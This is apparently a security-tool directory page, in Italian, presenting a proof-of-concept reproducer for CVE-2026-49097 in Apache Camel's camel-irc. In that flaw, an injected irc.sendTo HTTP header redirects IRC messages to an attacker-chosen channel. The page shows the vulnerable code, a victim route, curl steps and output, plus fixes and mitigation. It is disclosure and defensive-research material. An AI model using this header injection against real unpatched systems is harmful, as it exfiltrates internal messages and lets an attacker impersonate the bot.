Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/oscerd/cve-2026-49097
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHuboscerd/cve-2026-49097

CVE-2026-49097

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Reproduttore PoC per CVE-2026-49097 (Apache Camel camel-irc): l'header irc.sendTo non prefissato con Camel elude il filtro degli header HTTP e sovrascrive il canale configurato del producer, reindirizzando un messaggio IRC verso una destinazione scelta dall'attaccante. Corretto in 4.14.8/4.18.3/4.21.0.

Condividi

Riproduttore dell'iniezione nell'header irc.sendTo di camel-irc (CVE-2026-49097)

Questo progetto dimostra un'iniezione nell'header del messaggio nel componente camel-irc di Apache Camel, identificata come CVE-2026-49097. IrcProducer legge l'header irc.sendTo per scegliere la destinazione del messaggio IRC in uscita; quando presente, sovrascrive l'elenco dei canali configurato nell'endpoint:

root@kitploit:~
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}

La costante di header IRC_SEND_TO ha il semplice valore irc.sendTo. Poiché non inizia con il prefisso Camel / camel, HttpHeaderFilterStrategy — che blocca solo il namespace degli header Camel al confine HTTP — gli consente di passare da una richiesta HTTP in entrata direttamente all'Exchange.

In una route che collega un consumatore HTTP (ad esempio platform-http) a un produttore irc:, qualsiasi client HTTP può quindi fornire irc.sendTo e reindirizzare il messaggio a un canale o nick IRC arbitrario, esfiltrando contenuti destinati a un canale interno verso una destinazione monitorata dall'attaccante, o impersonando il bot in un altro canale. Altre nove costanti irc.* sono state rinominate nella stessa correzione; irc.sendTo è quella direttamente sfruttabile.

Questo PoC dimostra l'impatto come reindirizzamento del messaggio / divulgazione di informazioni (CWE-20 → CWE-74).

Avviso di sicurezza: https://camel.apache.org/security/CVE-2026-49097.html

Riepilogo della vulnerabilità

La correzione rinomina le dieci costanti di header irc.* secondo la convenzione CamelIrc* (ad esempio irc.sendTo → CamelIrcSendTo), così da filtrarle al confine HTTP come qualsiasi altro header di controllo Camel. Stessa famiglia di CVE-2025-27636, CVE-2026-46454 e CVE-2026-48206. Nota: camel-irc è deprecato a partire dalla 4.21.0.

Perché non serve un server IRC

La vulnerabilità risiede interamente nella selezione della destinazione di IrcProducer; il socket IRC è solo trasporto. Questo riproduttore esegue il IrcProducer reale e la classe reale IRCConnection di irclib, sottoclassata in modo che il suo send(...) (attraverso il quale passano tutti i comandi do* — incluso doPrivmsg) registri la destinazione del PRIVMSG invece di scrivere su un socket. Un piccolo componente irc personalizzato fornisce quella connessione di registrazione. Nessuna rete IRC viene contattata.

La route vittima

root@kitploit:~
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

Un endpoint "notify" che inoltra verso un canale interno fisso #alerts. Non c'è alcun parametro di destinazione nell'API HTTP — l'autore presume che il client non possa scegliere il canale. L'attaccante imposta irc.sendTo e il bot pubblica su un canale scelto dall'attaccante.

Struttura del repository

root@kitploit:~
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

Prerequisiti

  • Docker e Docker Compose
  • Java 17+ e Maven 3.8+

Passaggi per la riproduzione

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Output atteso

root@kitploit:~
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true

Correzione consigliata

Aggiorna a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). Dopo l'aggiornamento, le route che impostano la destinazione IRC tramite un header devono usare il nome CamelIrcSendTo. Nota che camel-irc è deprecato a partire dalla 4.21.0.

Mitigazione

Fino all'aggiornamento, rimuovi gli header di controllo camel-irc da qualsiasi ingresso non attendibile prima del produttore irc: (ad esempio removeHeaders("irc.*")) e imposta la destinazione da una fonte attendibile.

Esclusione di responsabilità

Questo riproduttore è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza autorizzazione esplicita.

Scarica lo strumento
ProprietàValore
Componentecamel-irc
Classe interessataorg.apache.camel.component.irc.IrcProducer che legge IrcConstants.IRC_SEND_TO ("irc.sendTo")
CWECWE-20 (Convalida impropria dell'input) / CWE-74 (Iniezione)
ImpattoReindirizza un messaggio IRC in uscita verso un canale/nick scelto dall'attaccante (esfiltrazione, impersonificazione)
PrecondizioniUna route collega un consumatore HTTP a un produttore irc:; senza autenticazione quando il consumatore è
Versioni interessateDalla 4.0.0 fino a prima della 4.14.8, dalla 4.15.0 fino a prima della 4.18.3, dalla 4.19.0 fino a prima della 4.21.0
Versioni corrette4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23629 (PR apache/camel#23594)
RiconoscimentoYu Bao (PayPal)